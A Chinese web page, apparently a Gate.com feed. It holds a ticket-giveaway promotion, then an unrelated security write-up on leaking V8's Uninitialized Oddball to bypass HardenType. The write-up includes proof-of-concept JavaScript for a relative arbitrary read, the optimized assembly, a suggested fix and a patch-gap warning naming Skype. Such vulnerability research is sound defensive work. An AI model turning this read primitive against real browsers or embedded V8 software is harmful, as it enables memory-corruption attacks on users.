🎤 爲偶像應援 · Gate送你直達 Token of Love! 🎶
家人們,現在在Gate廣場爲 打 Token of Love CALL,20 張音樂節門票等你來瓜分!🔥
泫雅 / SUECO / DJ KAKA / CLICK#15 —— 你最期待誰?快來一起應援吧!
📌 參與方式(任選,參與越多中獎幾率越高!)
1️⃣ 本帖互動
點讚 & 轉發本帖 + 投票你最愛的藝人
評論區打出 “我在 Gate 廣場爲 Token of Love 打 Call !”
2️⃣ 廣場發帖爲 TA 打 Call
帶上 #歌手名字# + #TokenOfLove#
發帖內容任選:
🎵 最想現場聽到的歌 + 心情宣言
📣 應援口號(例:泫雅女王衝鴨!Gate廣場全員打 Call!)
😎 自制表情包/海報/短視頻(加分項,更容易中獎!)
3️⃣ 推特 / 小紅書發帖打 Call
同樣帶上 #歌手名字# + #TokenOfLove#
內容同上,記得回鏈到表單 👉️ https://www.gate.com/questionnaire/7008
🎟️ 獎勵安排
廣場優質發帖用戶:8張門票
廣場幸運互動用戶:2張門票
Twitter 優質發帖用戶:5張門票
小紅書優質發帖用戶:5張門票
📌 優質帖文將根據文章豐富度、熱度、創意度綜合評分,禁止小號水貼,原創發帖更易獲獎!
🕒 8
Chrome V8引擎任意讀漏洞:利用Uninitialized Oddball繞過HardenType
Chrome v8 HardenProtect繞過技術揭祕
前言
Sentinel value是算法中的一種特殊值,常用於循環或遞歸算法的終止條件。Chrome源碼中存在多種Sentinel value。近期有研究人員通過泄露TheHole對象實現了沙箱內任意代碼執行。谷歌團隊隨後更新了這兩個在野CVE的相關信息。
實際上,除TheHole對象外,v8中還有其他不應泄露到JS中的原生對象。本文將討論Uninitialized Oddball對象,該繞過方法目前仍可用於最新版V8。
值得注意的是,該方法具有一定通用性:
CVE-2021-30551中首次給出了泄露internal uninitialized oddball的poc。
CVE-2022-1486的poc也直接泄露了UninitializedOddball。
一個未分配CVE的Issue也採用了類似方法。
這些案例說明了該問題的普遍性和嚴重性。
V8中的Sentinel value
V8的大部分原生對象定義在v8/src/roots/roots.h文件中,它們在內存中依次相鄰排布。一旦這些不應泄露的原生對象被泄露到Javascript中,就可能實現沙箱內任意代碼執行。
我們可以通過修改v8的native函數,將Uninitialized Oddball泄露到JavaScript中。具體方法是修改%TheHole()函數中相對isolate的偏移,使其返回Uninitialized Oddball。
繞過HardenType
該方法的核心代碼如下:
javascript function opt(obj, should_bailout) { var x = obj.prop; if (should_bailout) { return x; } return obj[x]; }
function read(obj, offset) { return opt({prop: offset}, false); }
var uninitialized = %TheHole(); var float_array = new Float64Array(1); var int_array = new Int32Array(float_array.buffer);
function hex(i) { return "0x" + i.toString(16).padStart(8,"0"); }
for (var i = 0; i < 0x100; i++) { var res = read(uninitialized, i); float_array[0] = res; console.log(i + ": " + hex(int_array[0]) + " " + hex(int_array[1])); }
該代碼在v8-11.0.0中測試仍可實現相對任意讀。優化後的read函數關鍵匯編如下:
0x558b2000407c test byte ptr [rdi+0xb], 0x1 0x558b20004080 jnz 0x558b200040f4 0x558b20004086 mov r11, [rdi+0xf] 0x558b2000408a lea r9, [r11+0xf] 0x558b2000408e and r9, 0xfffffffffffffff8 0x558b20004092 mov r10d, [r9-0x1] 0x558b20004096 cmp edx, r10d 0x558b20004099 jae 0x558b200040f4 0x558b2000409f vmovsd xmm0, [r9+rdx*8+0x7] 0x558b200040a5 vmovq rax, xmm0 0x558b200040aa ret
可以看到,檢查了obj的prop屬性,但沒有檢查obj.prop對應的Value,直接按JavaScript語義計算偏移並返回數組值,造成了類型混淆。
建議修復方法是在優化後的函數返回數組元素時,添加對數組map的檢查,避免直接計算偏移返回數值。
PatchGap警告
該問題可能存在PatchGap,一些軟件如Skype目前仍未修復。在x86架構下,由於沒有地址壓縮,任意讀寫是相對於整個進程的。雖然開啓了ASLR,但由於文件較大,黑客仍有較大概率讀寫到關鍵內容。
這次PatchGap不僅需要排查特定Issue,還導致了一些歷史漏洞利用難度大幅降低。建議廠商重視並排查可能受影響的軟件。
總結
本文討論了通過泄露uninitialized_Oddball實現任意讀的方法。V8中還有其他Sentinel value可能導致類似問題,值得進一步研究。建議考慮將Sentinel value作爲變量加入fuzzer,以挖掘新的利用原語。無論這類問題是否被正式視爲安全問題,它都可能大大縮短黑客的完整利用週期。